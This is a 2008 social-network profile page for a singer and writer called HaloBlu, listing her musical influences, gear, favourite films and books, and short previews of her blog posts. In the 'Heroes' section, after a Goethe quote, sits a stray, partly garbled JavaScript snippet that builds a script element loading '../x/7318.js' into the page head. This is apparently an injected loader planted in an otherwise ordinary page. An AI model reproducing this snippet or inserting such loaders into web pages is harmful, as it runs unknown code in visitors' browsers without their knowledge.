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About Me

My name is Vanessa Campbell, and I'm a writer/editor, a marketer, and a singer (see "HaloBlu Music" below for details). My Myers-Briggs personality type is E N/S T J (extroverted, both intuitive and sensing, thinking, judging). My Enneatype is Five: The Investigator. My flagship cause/charity is animal welfare, and I support both ASPCA and Humane Society .

Currently Reading The Gold Coast by Nelson DeMille and Duma Key by Stephen King (two great summer reads)
Currently Watching Lars and the Real Girl and The Martian Child (theme: make believe)
Calendar
02Jul Peter Murphy at Center Stage
19Jul The Dark Knight (film) in IMAX
29Augâ€“01Sep Dragon*Con
Current Projects Making music, writing a self-help book, and writing a novel (inspired by an entry in Kafka's Diaries)

My Interests

I'd like to meet:

A&R, DJs, music producers, musicians, film-makers, photographers, writers, poets, and other artists; also fun, interesting people, and these guys of course...

HaloBlu Music:
Influences:
80's and trance/Euro club dance, along with many wonderful artists including...

Depeche Mode, Alan Wilder, Trent Reznor, and BT for their electro mastery Prince for his genius and perfection Celine Dion and Josh Groban for their angelic voices Peter Murphy for his voice as well, along with his lyrical imagery and his pioneering of the Goth music genre The Cure for their originality... and Robert's hair Johnny Cash for walking the line Jimi Hendrix for kissing the sky and U2 for changing the world Why this name?
From a dream: a lady was waving an electric blue current of light around, and she told me it was a halo.

Would you sign a record contract with a major label?
Of course. The more major, the better.

Gear List:
Sonar Producer
Novation XioSynth 49 (synth, MIDI controller, and audio interface in one... Do we love, or do we love-love?)
AKG Perception 400 microphone (with Blueberry cable)
AKG K-141 headphones

Wish List:
Virus TI Key
Blueberry mic

Anything else...?
"You have become
what you have always been."
- Tiesto / BT

Music:

My favorite song right now is the Syrian mix of Pristina's "So Alive." My favorite band ever is Depeche Mode, and the rest of my top five are The Cure, Peter Murphy, Nine Inch Nails, and the Sexiest MF of All, Prince.

Movies:

I love-love-love (love cubed) movies. These are the films I've given five-star ratings on Netflix:

3:10 to Yuma (2007 version)
An Affair to Remember
The Big Lebowski
The Birds
Blade Runner: The Final Cut
The Departed
Dial M for Murder
Diehard 4
Don Juan De Marco
Edward Scissorhands
High Fidelity
Immortal Beloved
Interview with the Vampire
The Jackal
The Last Samurai
Leaving Las Vegas
Life Is Beautiful
Magnolia
The Matrix
No Country for Old Men
Panic Room
Pirates of the Caribbean
Pride and Prejudice
The Professional (LÃ©on)
Rear Window
The Recruit
Roman Holiday
Shine
Sling Blade
Titanic
To Catch a Thief
The Usual Suspects

Television:

Books:

My favorite book is Transparent Things, by Nabokov. Others that impacted my life are One Day in the Life of Ivan Denisovich (by Solzhenitsyn) and The Metamorphosis (by Kafka). Nowadays, I read mostly nonfiction but, in general, I like to read things that teach me something or have a positive effect on my life. And when I do have the luxury of reading fiction, my favorite modern-day writer is Dean Koontz. While many writers produce an amazing book or two and then fizzle out, his work just keeps getting better.

Heroes:

"As soon as you trust yourself you will know how to live." - Goethe .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

Some Thoughts about Joel Osteen

I watched 60 Minutes last night and was looking forward to the segment on Joel Osteen, whom I greatly admire, although I am not a Christian and not even religious. I do, however, believe in a higher p...
Posted by HaloBlu on Mon, 09 Jun 2008 02:59:00 PST

Short Story: Marshall Cray

1,800 words (c) 2008 Vanessa Campbell Marshall Cray hasn't slept in five years. He wants to, but every time he closes his eyes, the dreams are too terrible. Two hours of sleep are the most...
Posted by HaloBlu on Fri, 14 Mar 2008 06:06:00 PST

Electronic Music: An Alien Import?

If you have even the least bit of interest in electronic music (EM), check out this great webpage:http://www.alienskinmusic.com/electrohistory.htmlIt' s a concise history of EM, written by George Pappa...
Posted by HaloBlu on Fri, 25 Apr 2008 08:33:00 PST

A Giggle for Physics Geeks

Whatever you do, don't drink the singularity. :)
Posted by HaloBlu on Fri, 11 Apr 2008 08:50:00 PST

Film Review: Luc Bessons Angel-A

I just watched this and was so charmed by it. It makes such a true statement about the human condition: We all need to be good to ourselves and to each other, but first to ourselves, then the "other" ...
Posted by HaloBlu on Sun, 20 Jan 2008 05:57:00 PST

How to Be an Artist

Before you read this and get upset with me, please know I'm "guilty" of most of these myself! I was inspired by my friend Isaac's blog of the same subject. I stole a couple of ideas from his blog and...
Posted by HaloBlu on Sun, 30 Dec 2007 05:31:00 PST

Some Great Films Ive Seen Recently

Apocalypto This is a fantastic film that showcases both the good and bad constituents of humanity: our devotion to family and our survival instinct, along with our insatiable greed and our capacity fo...
Posted by HaloBlu on Sat, 13 Oct 2007 12:17:00 PST

Petal 05 (re-post)

(inspired by The Last Samurai) There is no single, perfect petal to spend your life searching for. There is no need for this tireless insistence on perfect beauty, as you dismiss what lies with...
Posted by HaloBlu on Mon, 27 Aug 2007 08:41:00 PST

Slowly (re-post)

Truth is poured slowlylike the first martini of the eveninga perfect concoction.It's placed in front of you like a giftand you drink it, savor it.Slowly at first.You recover quickly from the subtle b...
Posted by HaloBlu on Wed, 15 Aug 2007 06:34:00 PST

The Unwrapping

After years of haunted sleep in frosted glass and frozen silver starflakes gathered on her skin and it was time again to feel. She sent angels fast aground and tearing her translucent webs un- ...
Posted by HaloBlu on Sun, 05 Aug 2007 03:04:00 PST